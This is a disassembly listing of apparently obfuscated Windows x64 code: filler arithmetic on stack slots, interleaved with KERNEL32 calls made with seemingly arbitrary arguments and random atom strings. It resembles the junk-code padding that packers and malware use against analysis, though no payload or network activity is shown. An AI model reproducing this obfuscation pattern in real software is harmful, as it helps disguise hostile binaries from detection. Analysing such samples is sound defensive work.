mov eax, dword [rsp + 0xb004]
mov ecx, dword [rsp + 0xaf3c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x156d0]
mov dword [rcx], eax
mov rax, qword [0x140363db8]
mov eax, dword [rax]
mov dword [rsp + 0xb044], eax
movsx eax, byte [rsp + 0x721]
movsx ecx, byte [rsp + 0x6c8]
add eax, ecx
mov byte [0x1403535ba], al
mov rax, qword [rsp + 0x13b58]
movsx eax, word [rax]
mov rcx, qword [0x140363e68]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2d28], ax
lea rax, [rsp + 0x11c0]
mov qword [rsp + 0x15d88], rax
mov r9d, 0x1084
xor r8d, r8d
lea rdx, [rsp + 0x15488]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xb048], eax
mov rax, qword [rsp + 0x140f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15478]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x309], al
mov rax, qword [rsp + 0x15370]
mov ecx, dword [0x140363a74]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14b60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x156d8]
mov ecx, dword [rsp + 0xafc4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6994], eax
mov r9d, 1
lea r8, [rsp + 0x14328]
mov rdx, qword [rsp + 0x13958]
mov rcx, qword [rsp + 0x159c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaef4], eax
mov rax, qword [rsp + 0x13d80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xadc8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xafec], eax
mov rcx, qword [rsp + 0x13600]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xb04c], eax
mov rax, qword [rsp + 0x13c30]
mov eax, dword [rax]
mov dword [rsp + 0xb050], eax
mov rax, qword [rsp + 0x13f18]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xade0]
sar eax, cl
mov rcx, qword [rsp + 0x13188]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14c58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14488]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x13718]
mov byte [rcx], al
lea rax, [0x14035cc54]
mov qword [0x140364000], rax
mov rcx, qword [rsp + 0x14e28]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0xa030]
mov qword [rsp + 0x15d90], rax
movzx ecx, word [rsp + 0x2a4c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2a48], ax
mov eax, dword [rsp + 0xab74]
movzx ecx, al
mov eax, dword [rsp + 0xae8c]
shl eax, cl
mov dword [rsp + 0xa9f0], eax
lea rax, [0x140363f6c]
mov qword [rsp + 0x15d98], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x138d8]
mov rcx, qword [rsp + 0x15880]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14348]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14e88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x155f8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x69d], al
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bf4]
add eax, ecx
mov rcx, qword [rsp + 0x132f0]
mov word [rcx], ax
movsx eax, word [rsp + 0x2990]
mov rcx, qword [rsp + 0x15590]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x15ad0]
mov word [rcx], ax
lea rcx, str.F8kj3_NKgJ_SLn4
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2cf0], ax
movzx eax, byte [rsp + 0x6e8]
mov byte [rsp + 0x73f], al
lea rax, [rsp + 0xadb4]
mov qword [0x140364008], rax
mov rax, qword [rsp + 0x145a0]
mov rcx, qword [rsp + 0x14fc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9500], eax
movzx eax, word [rsp + 0x29cc]
mov word [rsp + 0x2d68], ax
mov rax, qword [rsp + 0x15a78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6f8]
and eax, ecx
mov rcx, qword [rsp + 0x15708]
mov byte [rcx], al
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x9fb
mov r9d, 0x328e
mov r8d, 0xaec9b095
mov edx, 2
mov rcx, qword [rsp + 0x14b70]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xaf78], eax
mov eax, dword [rsp + 0xabbc]
mov ecx, dword [rsp + 0xae80]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xadfc], eax
mov eax, dword [rsp + 0xb010]
mov ecx, dword [rsp + 0xae58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8e54], eax
mov rax, qword [rsp + 0x15b20]
mov ecx, dword [rsp + 0x81b4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14500]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15868]
mov eax, dword [rax]
mov dword [rsp + 0xb054], eax
mov rax, qword [rsp + 0x13888]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14f20]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x15770]
mov byte [rcx], al
mov rax, qword [rsp + 0x15b30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c3c]
sub eax, ecx
mov rcx, qword [0x140363cf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x14b60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x965c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13350]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9674]
movzx ecx, al
mov eax, dword [0x14035cc70]
sar eax, cl
mov dword [rsp + 0x84c8], eax
mov rax, qword [rsp + 0x14ef8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa350]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x153d0]
mov dword [rcx], eax
lea rax, [rsp + 0xa73c]
mov qword [rsp + 0x15da0], rax
mov rax, qword [rsp + 0x14d70]
mov eax, dword [rax]
mov rcx, qword [0x140363c68]
mov qword [rsp + 0x15da8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15da8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xae0c], eax
mov rax, qword [rsp + 0x13428]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2ae8]
imul eax, ecx
mov rcx, qword [rsp + 0x13348]
mov word [rcx], ax
lea rax, [rsp + 0x25f]
mov qword [rsp + 0x15db0], rax
mov rax, qword [rsp + 0x134c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x676]
or eax, ecx
mov rcx, qword [rsp + 0x15400]
mov byte [rcx], al
mov rax, qword [rsp + 0x151b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13d98]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x140363b88]
mov word [rcx], ax
mov eax, dword [rsp + 0x6cb0]
mov dword [rsp + 0xb058], eax
mov rax, qword [rsp + 0x139c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6960]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15958]
mov dword [rcx], eax
lea rax, [rsp + 0x309]
mov qword [rsp + 0x15db8], rax
mov rax, qword [rsp + 0x14778]
movzx eax, word [rax]
mov rcx, qword [0x140363f58]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2bd8], ax
mov rax, qword [rsp + 0x13510]
mov ecx, dword [rsp + 0xaf80]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13828]
mov dword [rcx], eax
lea rax, [rsp + 0x6674]
mov qword [rsp + 0x15dc0], rax
lea rdx, [rsp + 0x45dc8]
mov rcx, qword [rsp + 0x14d00]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xb05c], eax
mov rax, qword [0x1403639f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaf64], eax
lea rax, [rsp + 0xa8ec]
mov qword [rsp + 0x15dc8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
movzx eax, word [rsp + 0x20a8]
movzx ecx, word [rsp + 0x2c9c]
and eax, ecx
mov word [0x14035cc98], ax
mov rax, qword [rsp + 0x14948]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6ed]
add eax, ecx
mov byte [rsp + 0x711], al
mov rax, qword [rsp + 0x14910]
mov rcx, qword [rsp + 0x14078]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14400]
mov dword [rcx], eax
mov eax, dword [rsp + 0xb01c]
mov dword [rsp + 0xb060], eax
mov rax, qword [rsp + 0x15678]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13348]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c70], ax
lea rax, [rsp + 0x729]
mov qword [rsp + 0x15dd0], rax
movzx eax, byte [rsp + 0x6f4]
movzx ecx, byte [rsp + 0x562]
shl eax, cl
mov rcx, qword [rsp + 0x14fd0]
mov byte [rcx], al
movzx eax, word [rsp + 0x2b6c]
movzx ecx, word [rsp + 0x206c]
xor eax, ecx
mov word [rsp + 0x2d50], ax
mov eax, dword [rsp + 0x8414]
movzx ecx, al
mov eax, dword [rsp + 0x9f00]
shr eax, cl
mov dword [rsp + 0x6700], eax
lea rax, [rsp + 0xa93c]
mov qword [0x140364010], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2dee
mov r9d, 0x1746
mov r8d, 0x736c892b
mov edx, 1
mov rcx, qword [rsp + 0x15280]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa7c4], eax
mov rax, qword [rsp + 0x13f28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7c34]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13668]
mov eax, dword [rax]
mov dword [rsp + 0xb064], eax
mov eax, dword [rsp + 0xab9c]
mov ecx, dword [rsp + 0xa9d8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xac40], eax
mov rax, qword [rsp + 0x14a20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x727]
sub eax, ecx
mov byte [rsp + 0x59f], al
mov rax, qword [rsp + 0x135f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29c8]
add eax, ecx
mov word [rsp + 0x2bc8], ax
mov rax, qword [0x140363f60]
mov rcx, qword [rsp + 0x13d58]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6cd0], eax
lea rax, [rsp + 0xacf4]
mov qword [rsp + 0x15dd8], rax
mov rax, qword [rsp + 0x13b20]
mov rcx, qword [rsp + 0x14c78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa1bc], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x15de0], rax
mov rax, qword [rsp + 0x13300]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa350]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x1403639d0]
mov dword [rcx], eax
lea rax, [rsp + 0x72c]
mov qword [rsp + 0x15de8], rax
mov rax, qword [rsp + 0x13f68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a54]
sub eax, ecx
mov rcx, qword [rsp + 0x137e0]
mov word [rcx], ax
mov rax, qword [0x140363b48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x209]
add eax, ecx
mov byte [rsp + 0x92], al
mov rax, qword [rsp + 0x15748]
movzx eax, word [rax]
mov word [rsp + 0x2d6c], ax
mov rax, qword [rsp + 0x13370]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab0c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xaf08], eax
mov eax, dword [0x14035cc24]
mov dword [rsp + 0xb068], eax
mov rax, qword [rsp + 0x15d88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2430]
add eax, ecx
mov word [rsp + 0x2ab8], ax
movzx eax, byte [rsp + 0x282]
mov rcx, qword [0x140363aa8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x6c5], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xacfc], eax
lea rcx, [rsp + 0x41a18]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0xae08]
mov rcx, qword [rsp + 0x13db0]
mov qword [rsp + 0x15df0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15df0]
mov eax, dword [rax]
shr eax, cl
mov dword [0x14035cc2c], eax
mov rax, qword [rsp + 0x13e40]
mov ecx, dword [rsp + 0x9430]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7c1c], eax
mov rax, qword [rsp + 0x14070]
mov eax, dword [rax]
mov ecx, dword [0x14035cc88]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14cb8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9570]
mov dword [rsp + 0xb06c], eax
mov rax, qword [rsp + 0x154a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14b08]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x200c], ax
movzx ecx, word [rsp + 0x29bc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b1c], ax
mov rax, qword [rsp + 0x15270]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x710]
add eax, ecx
mov rcx, qword [rsp + 0x14048]
mov byte [rcx], al
lea rax, [rsp + 0xac0c]
mov qword [rsp + 0x15df8], rax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xacf8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13fc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14348]
mov rcx, qword [rsp + 0x133b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x909c], eax
mov eax, dword [rsp + 0xa1bc]
mov dword [0x140363fdc], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.Liohz
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15e00], rax
mov rax, qword [0x140363dd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa914]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xadfc], eax
lea rax, [rsp + 0x400]
mov qword [rsp + 0x15e08], rax
movsx eax, word [rsp + 0x2a64]
movsx ecx, word [rsp + 0x2a38]
sub eax, ecx
mov word [rsp + 0x2c08], ax
movzx eax, word [rsp + 0x12b8]
mov rcx, qword [rsp + 0x149d0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x14240]
mov word [rcx], ax
lea rax, [rsp + 0x69d]
mov qword [rsp + 0x15e10], rax
mov rcx, qword [rsp + 0x154c8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x156d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa868]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xac80], eax
mov eax, dword [rsp + 0xacd8]
mov dword [rsp + 0xb070], eax
mov rax, qword [0x140363f90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x256]
add eax, ecx
mov rcx, qword [rsp + 0x13590]
mov byte [rcx], al
lea rax, [rsp + 0x2c58]
mov qword [0x140364018], rax
mov eax, dword [rsp + 0x643c]
mov ecx, dword [rsp + 0xae18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x814c], eax
lea rax, [0x14035cc84]
mov qword [rsp + 0x15e18], rax
mov eax, dword [rsp + 0x8d2c]
mov rcx, qword [rsp + 0x13f18]
mov qword [rsp + 0x15e20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15e20]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xad7c], eax
mov eax, dword [rsp + 0xab24]
movzx ecx, al
mov eax, dword [rsp + 0xac9c]
shr eax, cl
mov dword [rsp + 0x6cb8], eax
movzx eax, byte [0x140353577]
movzx ecx, byte [rsp + 0x6bc]
xor eax, ecx
mov byte [rsp + 0x6f3], al
movzx eax, word [rsp + 0x2b00]
movzx ecx, word [rsp + 0x2d64]
or eax, ecx
mov rcx, qword [rsp + 0x15800]
mov word [rcx], ax
lea rax, [rsp + 0x8604]
mov qword [rsp + 0x15e28], rax
lea rdx, [rsp + 0x45ff8]
mov rcx, qword [rsp + 0x15a90]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xab60], eax
mov eax, dword [rsp + 0x870c]
mov ecx, dword [rsp + 0xaea8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x137d0]
mov dword [rcx], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x261f
mov r9d, 0xc4
mov r8d, 0x900f3ad5
mov edx, 1
mov rcx, qword [rsp + 0x159d0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xacf0], eax
movsx eax, word [rsp + 0x103c]
mov rcx, qword [rsp + 0x13d60]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x140363e10]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xad98], eax
lea rax, [rsp + 0x71c]
mov qword [rsp + 0x15e30], rax
mov r9d, 2
lea r8, [rsp + 0x14540]
mov rdx, qword [rsp + 0x133a8]
mov rcx, qword [rsp + 0x13ab0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xb074], eax
movzx eax, byte [rsp + 0x739]
mov rcx, qword [rsp + 0x13a58]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x134f0]
mov byte [rcx], al
lea rax, [rsp + 0x29c0]
mov qword [rsp + 0x15e38], rax
mov rax, qword [rsp + 0x138d8]
mov ecx, dword [0x140363a18]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa938], eax
mov eax, dword [rsp + 0xabd8]
mov ecx, dword [rsp + 0x72dc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x157d8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xab5c]
mov dword [rsp + 0xb078], eax
mov rax, qword [rsp + 0x15470]
mov rcx, qword [rsp + 0x13680]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15bb0]
mov eax, dword [rax]
mov dword [rsp + 0xb07c], eax
mov rax, qword [rsp + 0x15b08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x153b0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x15a30]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa7bc], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xacfc], eax
movzx eax, byte [rsp + 0x6d9]
movzx ecx, byte [rsp + 0x43c]
or eax, ecx
mov byte [0x14035e502], al
mov rax, qword [rsp + 0x13290]
mov ecx, dword [rsp + 0xac54]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15300]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13550]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x72f8]
shl eax, cl
mov dword [rsp + 0x9a08], eax
mov rax, qword [rsp + 0x138d0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14848]
mov qword [rsp + 0x15e40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15e40]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xab74], eax
mov rax, qword [rsp + 0x133b0]
mov eax, dword [rax]
mov dword [rsp + 0xb080], eax
mov rax, qword [rsp + 0x14188]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x23c]
xor eax, ecx
mov byte [rsp + 0x73e], al
mov rax, qword [rsp + 0x132f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2cb0]
and eax, ecx
mov word [rsp + 0x2ca8], ax
mov rax, qword [rsp + 0x13a70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x628]
add eax, ecx
mov byte [rsp + 0x4e3], al
mov rax, qword [0x140363fa8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2544]
imul eax, ecx
mov rcx, qword [rsp + 0x139d8]
mov word [rcx], ax
lea rax, [rsp + 0x6cb8]
mov qword [0x140364020], rax
mov rax, qword [rsp + 0x13960]
mov eax, dword [rax]
mov dword [rsp + 0xb084], eax
movzx eax, byte [0x1403535a6]
movzx ecx, byte [rsp + 0x6de]
or eax, ecx
mov rcx, qword [rsp + 0x145b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x15d58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12b8]
add eax, ecx
mov word [rsp + 0x2098], ax
lea rax, [rsp + 0xa95c]
mov qword [rsp + 0x15e48], rax
mov eax, dword [rsp + 0x7608]
mov ecx, dword [rsp + 0xa970]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14be8]
mov dword [rcx], eax
lea rax, [rsp + 0xab48]
mov qword [rsp + 0x15e50], rax
mov eax, dword [rsp + 0xa9b0]
mov ecx, dword [rsp + 0x8178]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14db0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2b2c]
mov word [rsp + 0x2d70], ax
mov rax, qword [rsp + 0x14038]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x700]
sub eax, ecx
mov byte [0x140353577], al
lea rdx, [rsp + 0x13a08]
mov rcx, qword [rsp + 0x13e08]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xb088], eax
mov rax, qword [rsp + 0x13358]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6768]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaf14], eax
mov eax, dword [rsp + 0xaa4c]
mov ecx, dword [0x140363960]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15570]
mov dword [rcx], eax
mov eax, dword [rsp + 0xaa48]
mov ecx, dword [rsp + 0xab68]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7e8c], eax
mov rax, qword [rsp + 0x15b20]
mov ecx, dword [rsp + 0xaa88]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x15890]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8904]
mov dword [rsp + 0xb08c], eax
mov rcx, qword [rsp + 0x13200]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x13428]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14960]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1fe4], ax
movsx eax, byte [rsp + 0x6c2]
movsx ecx, byte [rsp + 0x43e]
sar eax, cl
mov byte [rsp + 0x400], al
movzx eax, word [rsp + 0x1038]
mov rcx, qword [rsp + 0x14748]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x16d4], ax
lea rcx, str.E_O_Ry4pA0iT0WKR
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2a48], ax
movzx eax, byte [rsp + 0x676]
mov rcx, qword [0x140363f90]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1403535bb], al
mov eax, dword [rsp + 0xadcc]
mov ecx, dword [rsp + 0xaf58]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x137d8]
mov dword [rcx], eax
lea rax, [rsp + 0xa278]
mov qword [rsp + 0x15e58], rax
mov rax, qword [rsp + 0x14d98]
movzx eax, word [rax]
mov rcx, qword [0x140363cb8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x151b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x15a88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbb]
or eax, ecx
mov byte [rsp + 0x6df], al
lea rax, [rsp + 0x852c]
mov qword [rsp + 0x15e60], rax
mov rax, qword [rsp + 0x15d90]
mov eax, dword [rax]
mov ecx, dword [0x140363a20]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15390]
mov dword [rcx], eax
lea rax, [rsp + 0xaed8]
mov qword [rsp + 0x15e68], rax
mov rax, qword [rsp + 0x14c88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac0c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f50]
mov dword [rcx], eax
lea rax, [0x14035e507]
mov qword [0x140364028], rax
movzx eax, word [rsp + 0x2b28]
movzx ecx, word [rsp + 0x184c]
sub eax, ecx
mov rcx, qword [rsp + 0x14478]
mov word [rcx], ax
mov eax, dword [rsp + 0x6378]
mov dword [rsp + 0xb090], eax
mov rax, qword [rsp + 0x13bb0]
mov rcx, qword [rsp + 0x15b48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15e68]
mov dword [rcx], eax
lea rcx, [rsp + 0x41e38]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x14a50]
movzx eax, word [rax]
mov word [rsp + 0x2d74], ax
movsx eax, byte [rsp + 0x702]
mov rcx, qword [rsp + 0x15458]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x143b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x15c68]
movzx eax, word [rax]
movzx ecx, word [0x140362c1c]
sub eax, ecx
mov word [rsp + 0x1a38], ax
movzx eax, byte [rsp + 0x5c7]
movzx ecx, byte [rsp + 0x11c]
add eax, ecx
mov rcx, qword [rsp + 0x13fe8]
mov byte [rcx], al
mov rax, qword [rsp + 0x15980]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xad3c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15c20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13d58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6824]
xor ecx, eax
mov eax, ecx
mov rcx, qword [0x140363fc0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6824]
mov dword [rsp + 0xb094], eax
mov eax, dword [rsp + 0xb014]
mov rcx, qword [rsp + 0x13ee0]
mov qword [rsp + 0x15e70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15e70]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x14a38]
mov dword [rcx], eax
lea rax, [rsp + 0x9ca0]
mov qword [rsp + 0x15e78], rax
movzx eax, word [rsp + 0x2b48]
movzx ecx, word [rsp + 0x2bdc]
sar eax, cl
mov word [rsp + 0x2c48], ax
movzx eax, byte [rsp + 0x6e2]
mov rcx, qword [0x140363ac0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x6b8], al
lea rax, [rsp + 0xade0]
mov qword [rsp + 0x15e80], rax
lea rcx, str.cmkOnB_SZkOq.hn02qR
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2d78], ax
mov dword [rsp + 0x20], 0x3c25
mov r9d, 0x3670
mov r8d, 0x297a
mov edx, 0x1f56
mov rcx, qword [rsp + 0x15b18]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xad84], eax
lea rcx, [rsp + 0x41b98]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xabf4], eax
mov rax, qword [rsp + 0x134d0]
mov rcx, qword [rsp + 0x15500]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13438]
mov dword [rcx], eax
lea rax, [rsp + 0xa95c]
mov qword [rsp + 0x15e88], rax
mov rax, qword [rsp + 0x13dc0]
mov rcx, qword [rsp + 0x14e30]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x140363e00]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2ce4]
mov rcx, qword [rsp + 0x151b0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14ac8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6eb]
mov rcx, qword [0x140363c40]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x15b88]
mov byte [rcx], al
lea rax, [rsp + 0x103c]
mov qword [rsp + 0x15e90], rax
mov rax, qword [rsp + 0x134f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6f2]
add eax, ecx
mov byte [rsp + 0x6ba], al
